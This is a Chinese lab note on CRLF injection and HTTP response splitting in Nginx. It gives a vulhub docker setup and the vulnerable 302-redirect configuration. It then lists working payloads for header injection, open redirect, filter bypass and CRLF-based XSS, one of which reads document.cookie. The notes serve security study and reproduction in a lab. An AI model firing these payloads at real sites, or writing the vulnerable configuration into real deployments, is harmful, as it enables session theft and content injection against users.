Nginx CRLF注入 响应截断

CR %0d LF %0a（回车+换行）

CRLF注入原因

HTTP响应截断因为没有对用户提交的数据进行严格过滤使得服务器**可能创建两个HTTP响应** 攻击者可以控制第二个响应并加载攻击

CVE-2018-1474

CVE-2018-11347

CVE-2018-7830

CVE-2018-7830

复现

搭建

/vulhub/nginx/insecure-configuration目录

docker compose up -d

（注意一个事 0.0.0.0可能会绕过burpsuite）

运行ip:8080

Nginx CRLF注入原因在于 nginx配置

Nginx1.13.0

location / {

return 302 https://$host$uri;

}

302跳转到$uri，Nginx会将$uri进行解码，导致传入%0a%0d即可引入换行符，造成CRLF注入漏洞。

查看docker里的nginx的配置文件

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

Burpsuite抓包结果

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1，可注入Set-Cookie头。

CRLF payload

探测漏洞：

%0d%0aheader:header

%0aheader:header

%0dheader:header

%23%0dheader:header

%3f%0dheader:header

/%250aheader:header

/%250aheader:header

/%%0a0aheader:header

/%3f%0dheader:header

/%23%0dheader:header

/%25%30aheader:header

/%25%30%61header:header

/%u000aheader:header

开放重定向：

/www.google.com/%2f%2e%2e%0d%0aheader:header

CRLF-XSS：

%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20οnlοad=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

XSS绕过：

%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

Location：

%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

现在8080访问不了